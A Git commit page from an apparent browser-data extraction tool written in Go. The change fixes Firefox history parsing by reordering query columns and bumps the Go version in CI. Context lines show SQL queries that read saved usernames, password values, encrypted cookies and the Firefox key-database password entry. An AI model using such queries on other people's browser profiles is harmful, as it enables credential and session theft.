fix: firefox history last_visit_time null Close #10

pull/83/head
ᴍᴏᴏɴD4ʀᴋ 4 years ago
parent 85af63bfcd
commit 54cc5da8d7
  1. 2
      .github/workflows/release.yml
  2. 4
      core/common/parse.go

@ -33,7 +33,7 @@ jobs:
- name: Set up Go - name: Set up Go
uses: actions/setup-go@v2 uses: actions/setup-go@v2
with: with:
go-version: 1.14 go-version: 1.15
- if: matrix.os == 'ubuntu-latest' - if: matrix.os == 'ubuntu-latest'
run: sudo apt-get update && sudo apt-get install -y gcc-multilib run: sudo apt-get update && sudo apt-get install -y gcc-multilib
- if: matrix.arch == '386' - if: matrix.arch == '386'

@ -39,7 +39,7 @@ var (
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places` queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places`
queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks` queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'` queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
@ -371,7 +371,7 @@ func (h *historyData) FirefoxParse() error {
url, title string url, title string
visitCount int visitCount int
) )
err = historyRows.Scan(&id, &url, &title, &visitDate, &visitCount) err = historyRows.Scan(&id, &url, &visitDate, &title, &visitCount)
h.history = append(h.history, history{ h.history = append(h.history, history{
Title: title, Title: title,
Url: url, Url: url,

Loading…
Cancel
Save